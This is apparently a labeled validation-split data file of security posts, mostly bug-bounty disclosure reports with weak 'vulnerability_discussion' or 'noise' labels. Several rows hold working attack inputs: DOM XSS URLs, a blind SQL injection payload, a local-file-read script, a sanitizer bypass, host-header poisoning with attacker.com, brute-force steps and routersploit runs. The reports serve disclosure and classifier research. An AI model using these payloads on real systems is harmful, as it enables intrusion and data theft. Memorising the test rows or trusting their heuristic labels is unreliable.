-{"id": "d39b78db8500498a2d4f", "text": "[Cross-site Scripting (XSS) - DOM] DOM XSS through ads\n\nMultiple ads hosted on www.urbandictionary.com make the www.urbandictionary.com origin vulnerable to DOM XSS.  Attached is an image of `alert(document.domain)` executing. The injection works in Firefox and Chrome.\n\nVisiting the following URL will **probably** cause an alert box displaying the  document.domain as www.urbandictionary.com.\n`https://www.urbandictionary.com/define.php?term=#asdf'-alert(document.domain)-'asdf`\n\nI say \"probably\" because the exploit depends on the loading of certain ads. Doing this from a fresh browser session usually causes the alert box. If not refreshing the page a few times, allowing the page to fully load, usually causes the pop-up. It all depends on which ad loads.\n\nIt appears the `pwt.js` JavaScript file uses the `displayCreative` function to display a unique ad. This apparently is done by executing `document.write` in an anonymous function to write the ad into the  the www.urbandictionary.com page. Visiting the above link will cause one of the ads to execute `document.domain` with a string that contains the following:\n\n```\n<script type='text/javascript'>\nurl='https://vap3ord1.lijit.com/res/sovrn.containertag.new.min.js…252de1&loc=https://www.urbandictionary.com/define.php?term=#asdf'-alert(document.domain)-'',\n```\nMany ads want a reference to the website that is loading them, so they inject the URL of the hosting page into the ad source. Since the vulnerable inject the containing page into a JavaScript single quote string, a single quote can be used to escape out of the string. This results in the JavaScript alert function being called.\n\nThe stack trace for the above injection follows:\n```\n    <anonymous> (index):2\n    displayCreative pwt.js:11048\n    displayCreative pwt.js:13098\n    displayCreative pwt.js:10759\n    <anonymous> define.php:1\n    apply define.php:347\n    <anonymous> (index):2\n    <anonymous> (index):2\n    Caspr (index):2\n    Caspr (index):2\n    casprInvocation (index):3\n    <anonymous> (index):8\n    <anonymous> (index):8\n```\n\nMultiple ads contain the nearly the same vulnerability. The stack trace is always the same.  The string passed to `document.domain` is different depending on the ad. I will try to include a few examples by attaching files showing the entire content being passed to `document.write`.  \n\n I obtained the strings passed to `document.domain` using the Eval Villain extension for Firefox, which I developed. This extension may assist you in finding the cause of the vulnerability, or verifying it's existence.\n\n## Impact\n\nDOM XSS allows an attacker to run arbitrary JavaScript under you origin. Since users can authenticate to this origin, an attacker could use this to perform actions in behalf of a victim using the victim session. I  have not yet authenticated to the site, so I don't know exactly what all that would entail.\n\nAn attacker could use this vulnerability to add malicious or inappropriate content to your website or takeover the ads seen there. \n\nSo far, it appears the urbandictionary.store does **not** grant the vulnerable origin any CORS privileges. This means an attacker most likely can NOT steal credit card information or modify purchases.", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-01-18", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "c1c6841e2229a23e664b", "text": "[Information Disclosure] User information disclosed via API\n\n## Summary:\n\nIt appears that the requests for \"system accounts\" are fully available via an API endpoint that does not require authentication. \n\nThe main issue is that among the information disclosed are user emails (many with gmail addresses) but the individual applications also include information that the user provides about their organization/integration such as IP addresses, physical locations and whether or not the system uses okta. \n\n## Steps To Reproduce:\n\nNavigate to the following URL:  https://sam.gov/api/prod/iam/cws/v1/applications/\n\n## Supporting Material/References:\n\nHelp desk article about what the [system accounts are](http://www.fsd.gov/gsafsd_sp?id=gsafsd_kb_articles&sys_id=c8d50f1d1b187c909ac5ddb6bc4bcbe2)\n\nHere is an example object of what is returned from the endpoint:\n\n```\n{\"uid\":12345,\"systemAccountName\":\"POC\",\"interfacingSystemVersion\":\"beta.POCcom\",\"systemDescriptionAndFunction\":\"example of data thgat is leaked\",\"systemAdmins\":\"[]\",\"systemManagers\":\"[{\\\"commonName\\\":\\\"James Bond\\\",\\\"uid\\\":\\\"fakepassword@gmail.com\\\",\\\"mail\\\":\\\"fake-fun@opayq.com\\\",\\\"name\\\":\\\"James Bond\\\",\\\"isGov\\\":false,\\\"id\\\":\\\"fake-fun@opayq.com\\\"}]\",\"contractOpportunities\":\"\",\"contractData\":\"\",\"entityInformation\":\"\",\"federalHierarchy\":\"\",\"wageDeterminations\":\"\",\"assistanceListings\":\"\",\"referenceData\":\"\",\"ipAddress\":\"\",\"typeOfConnection\":\"\",\"physicalLocation\":\"\",\"securityOfficialName\":\"\",\"securityOfficialEmail\":\"\",\"uploadAto\":\"\",\"authorizationConfirmation\":false,\"authorizingOfficialName\":\"\",\"submittedDate\":\"2021-06-06T06:49:17.130+0000\",\"submittedBy\":\"fake-fun@opayq.com\",\"securityApprover\":\"\",\"rejectedBy\":\"\",\"rejectionReason\":\"\",\"applicationStatus\":\"Draft\",\"isGov\":false,\"migratedToOkta\":false,\"fips199Categorization\":\"\"}\n```\n\n## Impact\n\nA threat actor could view personal information about users on the platform.\n\nIt is also theoretically possible that a threat actor could use information gathered from this endpoint to identify future targets and footholds.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-10-19", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "90c2bb441679efdd79d0", "text": "Malware Analysis & Reverse Engineering CTF\n\nHi, I��m studying Penetration Testing and part of the training obviously focuses on solving CTF challenges. You must be asking yourself how the name of the title is related to PT? Well, it’s probably not that related, but there is a challenge that really caught my attention and I’ve been trying to solve it for a long time without success. The challenge contains a malicious file and the task is to investigate the file and find the FLAG hidden inside the file. So I will detail a bit about the malware and what I was able to understand from the code: Code details: Assembly - Assembly code - Pastebin.com (IDA PRO) What I understood: First of all, this is an executable file for Windows (EXE) and when I run the software in CMD I get an error “An error occurred” and the operation ends. Reading the code through IDA PRO you can see an Environment Variable called GREENIE, in my opinion everything starts here, and if I manage to discover the value of GREENIE I can move forward. It is also possible to notice other generic errors that exist in the software. I know that to solve the challenge, I would have to set up the environment properly and then follow the code, but I would need some direction because I am missing something. I got some guidance from someone who told me to learn about ENDIANNES, with emphasis on LITTLE ENDIAN. I read about it and the differences between BIG ENDIAN and LITTLE ENDIAN, but I couldn’t really understand how it is reflected in the software. I would appreciate and thank anyone who takes the time to help. Download link for the software: https://easyupload.io/ikpzq3 It is important to know that this is software that is detected as MALWARE by Windows Defender, so it is recommended to open it in a virtual system. Thank you!", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackthebox", "forum_id": "hackthebox", "timestamp": "2023-01-30", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "999cf5b398c8fd999b1b", "text": "[Unknown] Arbitrary file read in Rocket.Chat-Desktop\n\n**Description:** Rocket.Chat-Desktop is vulnerable to arbitrary file read.\n\n## Releases Affected:\n\n  * Rocket.Chat-Desktop-Client: < v3.0.0-develop\n\n## Steps To Reproduce (by setting up a malicious server):\n\n1. Go to `Administration » Layout » Custom Scripts » Custom Script for Logged In Users`\n1. Insert the following script `window.open('file://c:/windows/system32/drivers/etc/hosts').eval('alert(document.body.innerText);');`\n1. Click `Save changes`\n1. Open Rocket.Chat-Desktop and connect to the server\n1. A new window and an alert containing the contents of `c:/windows/system32/drivers/etc/hosts` will pop up.\n\n## Suggested mitigation\n\n  * Set `popups` to `false` [[`src » component » electron » WebViewComponent.js (line 16)`](https://github.com/RocketChat/Rocket.Chat.Electron/blob/develop/src/components/electron/WebViewComponent.js)].\n\n## Impact\n\nArbitrary file read in Rocket.Chat-Desktop", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-02-06", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "53c6b90281255cbb722b", "text": "[Cross-site Scripting (XSS) - Generic] Rails::Html::SafeListSanitizer vulnerable to xss attack in an environment that allows the style tag\n\nIt seems to be a problem caused by a difference between the nokogiri java implementation and the ruby implementation.\nIt seems to be an ambiguous case as to whether to do it with nokogiri or have rails-html-sanitizer defend it.\n\njruby9.3.3.0 (nokogiri java), use Rails::Html::SafeListSanitizer.new.sanitize, allow select/style tag\ncode\n```\ntags = %w(select style)\nputs \"------------------------------------------------------------------\"\nputs \"use Rails::Html::SafeListSanitizer.new.sanitize, allow select/style tag\"\nputs \"input: <select<style/>W<xmp<script>alert(1)</script>\"\nputs \"output: \"+Rails::Html::SafeListSanitizer.new.sanitize(\"<select<style/>W<xmp<script>alert(1)</script>\", tags: tags).to_s\nputs \"------------------------------------------------------------------\"\n```\n\nresult\n```\ninput: <select<style/>W<xmp<script>alert(1)</script>\nscrub --> node type :Nokogiri::XML::Text, node name :text, node to_s :W\nscrub --> node type :Nokogiri::XML::Text, node name :text, node to_s :&lt;script&gt;alert(1)&lt;/script&gt;\nscrub --> node type :Nokogiri::XML::Element, node name :xmp, node to_s :<xmp>&lt;script&gt;alert(1)&lt;/script&gt;</xmp>\nscrub --> node type :Nokogiri::XML::Element, node name :style, node to_s :<style>W<script>alert(1)</script></style>\nscrub --> node type :Nokogiri::XML::Element, node name :select, node to_s :<select><style>W<script>alert(1)</script></style></select>\noutput: <select><style>W<script>alert(1)</script></style></select>\n```\n\n## Impact\n\nIt is possible to bypass Rails::Html::SafeListSanitizer filtering and perform an XSS attack.", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-06-14", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "da1ea620537522742e4c", "text": "[Information Exposure Through Sent Data] Remote memory disclosure vulnerability in libcurl on 64 Bit Windows\n\n# Remote memory disclosure vulnerability in libcurl on 64 Bit Windows\n\n## Summary:\n\n`libcurl` (latest) contains a vulnerability that enables attackers to\nremotely read memory beyond the bounds of a buffer in the style of the\ninfamous \"heartbleed\" vulnerability. Luckily, however, this is only\npossible when `libcurl` runs on 64 bit Windows and it requires an\nattacker capable of influencing the size of a file upload part.\n\nThe core of the problem is the following: while on 64 Linux and BSD\nsystems, `sizeof(long)` is 8, on 64 bit Windows, it\nis 4. Consequently, the function `AddHttpPost` carries out an integer\ntruncation and sign conversion on these systems, as the parameter\n`bufferlength` of type `size_t` (8 byte wide, unsigned) is assigned to\nthe field `post->bufferlength` of type `long` (4 byte wide,\nsigned). The following excerpt shows the corresponding code:\n\n\n```\nstatic struct curl_httppost *\nAddHttpPost(char *name, size_t namelength,\n            char *value, curl_off_t contentslength,\n            char *buffer, size_t bufferlength,\n\t        [...]\n            struct curl_httppost **last_post)\n{\n\t[...]\n    post->buffer = buffer;\n    post->bufferlength = (long)bufferlength; /* <=== */ \n\t[...]\n}\n```\n\nIn particular, this function is triggered when constructing an HTTP\nPOST request that specifies custom file upload parts, e.g., with a\nstatement such as the following:\n\n```\ncurl_formadd(&formpost,\n             &lastptr,\n             CURLFORM_COPYNAME, \"name\",\n             CURLFORM_BUFFER, \"data\",\n             CURLFORM_BUFFERPTR, buffer,\n             CURLFORM_BUFFERLENGTH, size,\n             CURLFORM_END);\n```\n\nAn attacker capable of choosing the file to upload may choose for it\nto be 4294967295 in size, and, indeed, `libcurl` will transfer this\nfile without trouble on 64 bit Linux. On 64 bit Windows, however, this\nleads to `post->bufferlength` being -1 due to the\ntruncation/sign-conversion, which happens to also be the value of the\nconstant `CURL_ZERO_TERMINATED`. On posting the data, this undesirable\ninterpretation causes the function `curl_mime_data` to assume that the\nlength of the buffer to upload is not known and should be determined\nvia `strlen`. Assuming the buffer does not contain zero bytes - and in\nfact, the documentation states that it MAY NOT contain zero bytes,\n`strlen` will read beyond the bounds of the buffer `buffer`, and\nsubsequently transmit the buffer contents AND memory behind it to the\nHTTP server.\n\nThe following (commented) excerpt of `curl_mime_data` illustrates this\nbehavior:\n\n```\nCURLcode curl_mime_data(curl_mimepart *part, /* <=== */ \n                        const char *data, size_t datasize)\n{\n   [...]\n\n  if(data) {\n    // This branch is triggered when `datasize` is -1,\n\t// Note that `datasize` is again `size_t`, so, it will\n\t// then be > 2**32-1.\n    if(datasize == CURL_ZERO_TERMINATED)\n      datasize = strlen(data);\n\n\t// With a system that has > 4GB RAM, this allocation\n\t// succeeds.\n    part->data = malloc(datasize + 1);\n    if(!part->data)\n      return CURLE_OUT_OF_MEMORY;\n\n\t// The part size is now set to be larger than 2**32-1,\n\t// although 2**32-1 is the size of the file. \n    part->datasize = datasize;\n\n```\n\n## Steps To Reproduce:\n\nTo further illustrate the problem, I have created a sample application\nfor which the string \"secret\" is located directly after the\nto-be-transmitted buffer. On 64 bit Linux, the program correctly\ntransmits only the contents of the buffer. On 64 bit Windows, it\ntransmits the buffer contents and the string \"secret\". Logging network\ntraffic using `tcpdump`, this has been confirmed as the attached\nscreenshots show.\n\nThe following is the sample program (test.c), which compiles both on Linux\nand Windows (Visual Studio 2022 Community Edition).\n\n```\n#include <stdio.h>\n#include <string.h>\n#include <stdlib.h>\n#include <curl/curl.h>\n\nint main(void)\n{\n    CURL* curl;\n    CURLM* multi_handle;\n    int still_running = 0;\n    struct curl_httppost* formpost = NULL;\n    struc", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-02-21", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "e7c56ffa3c1100f4e148", "text": "[Improper Certificate Validation] CVE-2023-28321: IDN wildcard match\n\n## Summary:\ncurl /libcurl uses wildcards for validation during TLS communication, even if the hostname is an IDN.\nEven if wildcards are present in the CN/SAN of the certificate, they must not be used to match if the hostname is an IDN.\nThis is described in [RFC-6125, section 6.4.3.][RFC]\n[RFC]: https://datatracker.ietf.org/doc/html/rfc6125#section-6.4.3\nYou probably know that.\nHowever, there was a problem with the implementation.\n`lib/vtls/hostcheck.c` in the function  'hostmatch' on lines 100-106.\n\n```\n  /* We require at least 2 dots in the pattern to avoid too wide wildcard\n     match. */\n  pattern_label_end = memchr(pattern, '.', patternlen);\n  if(!pattern_label_end ||\n     (memrchr(pattern, '.', patternlen) == pattern_label_end) ||\n     strncasecompare(pattern, \"xn--\", 4))\n    return pmatch(hostname, hostlen, pattern, patternlen);\n```\nI think `strncasecompare(pattern, \"xn--\", 4))` is `strncasecompare(hostname, \"xn--\", 4))`.\n`pattern` is a value that contains wildcards because it is CN/SAN.\nIn other words, it will not match \"xn--\" because it will be a string containing wildcards.\n\n## Steps To Reproduce:\n  1. Create a wildcard certificate.As an example, attach a certificate and private key with CN value of `x*.example.local`. {F2298301} {F2298300}\n  2. `openssl s_server -accept 443 -cert server.crt -key server.key -www`\n  3. Modify hosts so that the name resolution result of `xn--l8j.example.local‘ is the IP of your machine in order to perform the test in the local environment.\n4. `curl https://%E3%81%82.example.local  --cacert server.crt`\n\nWhen the above is executed, the communication succeeds even though it should result in a validation error.\n\n## Impact\n\nImproper Validation of Certificate with Host Mismatch.", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": ["CVE-2023-28321"], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-05-18", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "3bad45c9444c9158aa3c", "text": "[Improper Restriction of Authentication Attempts] Missing brute force protection on password confirmation modal\n\nHi Team,\n\nI hope you are doing well.\n\nI found a vulnerability in Next cloud , let's exploit\n\nI am not reporting this for every feature in different different report , please increase the severity in single Report. \n\nVulnerability Name :- Lack of Rate limit While Generating Backup code , Deleting Account , Profile Updating\n\nVulnerability Description :- Hi Team , there is no rate limit while sending request to  Generating Backup code , Deleting Account , Profile Updating endpoint that leads to bypass the password protection and even attacker can view current password of user.\n\nSteps to Reproduce :- 1. Signup with an provider and verify your account.\n2. Once verified --> Go to Settings --> Security.\n3. Click on Generate Backup code , enable password less authentication , Update Profile  it asks for password for authentication.\n4. Enter Random Password --> Capture this request n burp suite.\n5. Sent this to intruder and select password position and select Payload type as Brute Force.\n6. Click on Attack.\n7. Boom! On correct password you got response 200 ok and for incorrect you got 403 Forbidden.\n\nReference Report Next cloud team resolved previously :- #1596673\n\n## Impact\n\nPassword protected Authentication Bypass.\n2. Attacker able to know the user current password in cleartext and able to takeover the account if they are at same place or someone forgot to logout from public PC also.\n\nPOC Attached\n\nIf you need further info I am here to help you.\nThanks and Regards,\nBhaRat", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-03-21", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "89188dfe7452394d027f", "text": "[Time-of-check Time-of-use (TOCTOU) Race Condition] Promotion code can be used more than redemption limit.\n\n## Summary:\nWhile creating a promotion code a user can specify number of times that code can be redeemed.(i.e. Redemption limit)\n{F1962666}\nCodes aren't supposed to be redeemed more than the redemption limit.\nBut there exists a race condition that allows use of promotion codes more than redemption limit.\n{F1962665}\n\n## Steps To Reproduce:\n[In these steps i have used just a browser to show how easy this is to exploit and even a person with very limited knowledge on technology can exploit this. This can certainly be scaled using burp and other software .]\n\n1. As a merchant create a promotion code with Redemption limit 1.\n{F1962664}\n2. As a user, Visit any two payment links of same merchant with the coupon.\n3. In both payment links, Fill the form and apply coupon but don't hit Pay/ Subscribe.\n4.Hit both link's pay/subscribe button as fast as you can.\n5. Both payment will be successful using one coupon two times.\n\n## Supporting Material/References:\nI have added a video poc.\nIn this poc, I have used a promotion code with redemption limit 2.\nI have also used laptops screentouch feature to click both link's pay/subscribe button as fast as I could.\n{F1962525}\n\n## Impact\n\nPromotion code can be used more than redemption limit.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-02-13", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "7b1c907affa9f3471a92", "text": "how to pentest a CISCO ISR 4331 with routersploit, when this model of router is not included in routersploits list of routers it can exploit\n\nHey there I’m trying to pentest a CISCO ISR 4331 using routersploit. But this model of router is not on the list of routers routersploit has available to exploit. when I try running routersploit running the autopwn on this router I just get the following results. All creds and routers “not vulnerable” except these ones below. “IP” Could not verify exploitability : http exploits/routers/asus/asuwart_lan_rce http exploits/routers/shuttle/915wm_dns_change http exploits/routers/netgear/dgn2200-dnslookup_cgi_rce custom/tcp exploits/routers/cisco/catalyst_2960_rocem http exploits/routers/cisco/secure_acs_bypass http exploits/routers/dlink/dsl_2730b_2780b_526b_dns_change http exploits/routers/dlink/dsl_2640b_dns_change http exploits/routers/dlink/dsl_2740r_dns_change custom/udp exploits/routers/dlink/dir_815_850l_rce http exploits/routers/billion/billion_5200w_rce http exploits/routers/3com/officeconnect_rce I’m having trouble finding YouTube video or manual that explain how to properly investigate these links that cannot be verified. I also get mixed signals from these links even they they are not the same models as my router. After exploring all the options while writing this question Im pretty sure none if them can be used to pen test a CISCO 4331 ISR so any links or advice on how i can do this with routersploit or any other program would be appreciated. ///////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// -rsf (3Com OfficeConnect RCE) > use exploits/routers/asus/asuswrt_lan_rce rsf (AsusWRT Lan RCE) > show options Target options: Name Current settings Description ssl false SSL enabled: true/false target Target IPv4 or IPv6 address port 80 Target HTTP port Module options: Name Current settings Description verbosity true Enable verbose output: true/false infosvr_port 9999 Target InfoSVR Port rsf (AsusWRT Lan RCE) > set target [+] target => rsf (AsusWRT Lan RCE) > set target ip [+] target => rsf (AsusWRT Lan RCE) > run [*] Running module exploits/routers/asus/asuswrt_lan_rce… [-] Connection error: http::80/vpnupload.cgi [-] Failed to set ateCommand_flag variable =>[dont know what to do here] ///////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// rsf (AsusWRT Lan RCE) > use exploits/routers/shuttle/915wm_dns_change rsf (Shuttle 915 WM DNS Change) > set target ip [+] target => ip rsf (Shuttle 915 WM DNS Change) > show options Target options: Name Current settings Description ssl false SSL enabled: true/false target ip Target IPv4 or IPv6 address port 80 Target HTTP port Module options: Name Current settings Description verbosity true Verbosity enabled: true/false dns1 8.8.8.8 Primary DNS Server dns2 8.8.4.4 Seconary DNS Server rsf (Shuttle 915 WM DNS Change) > run [ ] Running module exploits/routers/shuttle/915wm_dns_change… [ ] Attempting to change DNS settings… [ ] Primary DNS: 8.8.8.8 [ ] Secondary DNS: 8.8.4.4 [-] Connection error: http://ip:80/dnscfg.cgi?dnsPrimary=8.8.8.8&dnsSecondary=8.8.4.4&dnsDynamic=0&dnsRefresh=1 =>[dont know what to do here] ///////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// rsf (Shuttle 915 WM DNS Change) > use exploits/routers/netgear/dgn2200_dnslookup_cgi_rce rsf (Netgear DGN2200 RCE) > set target “ip” [+] target => “ip” rsf (Netgear DGN2200 RCE) > show options Target options: Name Current settings Description ssl false SSL enabled: true/false target Target IPv4 or IPv6 address port 80 Target HTTP port Module options: Name Current settings Description verbosity true Verbosity enabled: true/false username admin Username password password Password rsf (Netg", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackersploit", "forum_id": "hackersploit", "timestamp": "2022-10-11", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "cff95c9d7c4bc112315a", "text": "[Business Logic Errors] Ability to use premium templates as free user via https://stripo.email/templates/?utm_source=viewstripo&utm_medium=referral\n\n## Summary:\nHello, I found security vulnerability in your web application, another business logic.\n\n## Steps To Reproduce\n  1. Go to https://stripo.email/templates/?utm_source=viewstripo&utm_medium=referral\n  2. Choose any premium template and click ```use in editor```\n  3. Then sign in to save and it is in your templates\n\n## Supporting Material/References:\nDown there is video showing everything\n\n  * [attachment / reference]\n\n## Impact\n\nLose of business", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-03-30", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "74a8605514b09a0390f4", "text": "Just grabbed the last flag. Upgrading the shell is necessary for the last flag, I used a static solution mentioned in the previous link. Happy to help others if desired.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackthebox", "forum_id": "hackthebox", "timestamp": "2022-12-28", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "7704d3351a8753f45520", "text": "Custom In-Ear Monitors/Earphones?\n\nAnyone tried buying from this website? They are called Big Ear and they offer home service for molding your ears for custom in-ear monitors and then they'll mail the product within a few weeks. They make multiple(up to 8) transducer IEMs and that's what called my attention. They also do have instructions for DIY molding where they'll send a molding kit then you'll mold your ears and send back the kit with the molds... but I guess I'll opt out on that if ever because I don't want to F things up. LOL! Some of their products are really intriguing and of course, I'd love to know if anyone here tried their products or maybe tried products like theirs from another store. I mean, any of you got other recommendations?**Links removed by Site Administrator so it doesn't look like you're spamming us. Please don't post them again.**  (you should be able to talk about this without naming names.)", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hacker_exploits", "forum_id": "antionline", "timestamp": "2022-03-09", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "201e7220ff84d835958f", "text": "[Business Logic Errors] Host Header Injection on https://███/████████/Account/ForgotPassword\n\nDear DoD Team,\n\nI found one high bug on your another domain. This is from Hack US Program. Affected domain is https://█████/\n\nAn attacker can manipulate the Host header as seen by the web application and cause the application to behave in unexpected ways.\nVery often multiple websites are hosted on the same IP address. This is where the Host Header comes in. This header specifies which website should process the HTTP request. The web server uses the value of this header to dispatch the request to the specified website. Each website hosted on the same IP address is called a virtual host. And It's possible to send requests with arbitrary Host Headers to the first virtual host.\n\nHere's the PoC btw:\n\n███\n\nThank you DoD!\n\n## Impact\n\nTampering of Host header can lead to the following attacks:\n1) Web Cache Poisoning-Manipulating caching systems into storing a page generated with a malicious Host and serving it to others.\n2) Password Reset Poisoning-Exploiting password reset emails and tricking them to deliver poisoned content directly to the target.\n3) Cross Site Scripting - XSS can be performed, if the value of Host header is used for writing links without HTML-encoding. For example Joomla used to write Host header to every page without HTML Encoding like this: <link href=”http://_SERVER['HOST']”> which led to cross site scripting.\n4) Access to internal hosts-To access internal hosts.\n5.) It can also lead to Phishing Attacks.\n\n## System Host(s)\n███████\n\n## Affected Product(s) and Version(s)\nUsers are affected\n\n## CVE Numbers\n\n\n## Steps to Reproduce\n1. Go to this domain: https://███/████████/\n2. Go to vendor login.\n3. Create a test account.\n4. Go to Forgot Password Reset: https://████/██████/Account/ForgotPassword\n5. Before inserting your email. \n6. Turn your foxy proxy on.\n7. Open your burp suite and go to http history tab.\n8. Now insert your email.\n9. In http history in burp you will see this request:\n\n```javascript\nPOST /████████/Account/ForgotPassword HTTP/1.1\nHost: ███\nCookie: .AspNetCore.Antiforgery.wZhPOrJ1UhI=; TS014b77bb=; ASP.NET_SessionId=; TS0144f203=; CSRF-TOKEN=\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:104.0) Gecko/20100101 Firefox/104.0\nAccept: application/json, text/javascript, */*; q=0.01\nAccept-Language: hr,hr-HR;q=0.8,en-US;q=0.5,en;q=0.3\nAccept-Encoding: gzip, deflate\nContent-Type: application/json\nX-Csrf-Token: \nX-Requested-With: XMLHttpRequest\nContent-Length: 35\nOrigin: https://███████\nReferer: https://████/█████████/Account/ForgotPassword\nSec-Fetch-Dest: empty\nSec-Fetch-Mode: cors\nSec-Fetch-Site: same-origin\nTe: trailers\nConnection: close\n\n{\"Email\":\"███████\"}\n```\n10. Send this request to repeater tab.\n11. Change Host headet to attacker.com\n12. It shoud look like this:\n\n```javascript\nPOST /████████/Account/ForgotPassword HTTP/1.1\nHost: attacker.com\nCookie: .AspNetCore.Antiforgery.wZhPOrJ1UhI=; TS014b77bb=; ASP.NET_SessionId=; TS0144f203=; CSRF-TOKEN=\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:104.0) Gecko/20100101 Firefox/104.0\nAccept: application/json, text/javascript, */*; q=0.01\nAccept-Language: hr,hr-HR;q=0.8,en-US;q=0.5,en;q=0.3\nAccept-Encoding: gzip, deflate\nContent-Type: application/json\nX-Csrf-Token: \nX-Requested-With: XMLHttpRequest\nContent-Length: 35\nOrigin: https://████\nReferer: https://███████/████/Account/ForgotPassword\nSec-Fetch-Dest: empty\nSec-Fetch-Mode: cors\nSec-Fetch-Site: same-origin\nTe: trailers\nConnection: close\n```\n13. Now send request and you will get 200 OK response.\n14. Go to your mail/gmail.\n15. You will see some magic.\n16. PoC is down there.\n\n## Suggested Mitigation/Remediation Actions", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-10-14", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "b2d53c06b06cef7d93ab", "text": "[SQL Injection] Blind Sql Injection https:/████████\n\n**Description:**\nfound on the websitehttps://████████ weakness is vulnerable to a blind sql injection.\n\nPOC: https:/█████████/0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z => 15.896\nTests Payload performed:\n    0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z => 15.896\n    0'XOR(if(now()=sysdate(),sleep(10),0))XOR'Z => 10.740\n\t0'XOR(if(now()=sysdate(),sleep(2),0))XOR'Z => 2.714\n    0'XOR(if(now()=sysdate(),sleep(1),0))XOR'Z => 1.927\n\n## Impact\n\nAn attacker can use SQL injection to bypass a web application's authentication and authorization mechanisms and retrieve the contents of an entire database. SQLi can also be used to add, modify and delete records in a database, affecting data integrity. Under the right circumstances, SQLi can also be used by an attacker to execute OS commands, which may then be used to escalate an attack even further.\n  \nBest regards,\nCodeSlayer137\n\n## System Host(s)\n███\n\n## Affected Product(s) and Version(s)\n\n\n## CVE Numbers\n\n\n## Steps to Reproduce\nhttps:/██████/0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z => 15.896\n\n## Suggested Mitigation/Remediation Actions", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-06-30", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "e1587fb19a6ab5470861", "text": "[Improper Access Control - Generic] AWS Credentials Disclosure at ███\n\nHi team!!\nI found the config.json file, which contains sensitive information of AWS.\n\nPOC:\nhttps://███████/config.json\n```\n{\"aws\": {\n        \"accessKeyID\": \"███████\",\n        \"secretAccessKey\": \"██████████\",\n        \"region\": \"███\",\n        \"bucket\": \"██████\",\n        \"endpoint\": \"https://s3.amazonaws.com\"\n    },\n    \"serverSettings\": {\n        \"port\": 443,\n        \"timeout\": 18000000\n    },\n    \"█████████\": {\n        \"authorizationURL\": \"https://████/ms_oauth/oauth2/endpoints/oauthservice/authorize\",\n        \"tokenURL\": \"https://████/ms_oauth/oauth2/endpoints/oauthservice/tokens\",\n        \"clientID\": \"██████████\",\n        \"clientSecret\": \"█████\",\n        \"callbackURL\": \"https://████████/callback\",\n        \"userProfileURL\": \"https://███/ms_oauth/resources/userprofile/me\"\n    }\n}\n```\n\n## Impact\n\nBy using leaked AWS credentials or abusing credentials with misconfigured permissions, an attacker could try to gain access to sensitive information on the AWS account or perform arbitrary modification on the AWS resources.\n\n## System Host(s)\n█████████\n\n## Affected Product(s) and Version(s)\n\n\n## CVE Numbers\n\n\n## Steps to Reproduce\n1. Use a browser to navigate to: https://██████/config.json\n\n## Suggested Mitigation/Remediation Actions", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-02-24", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
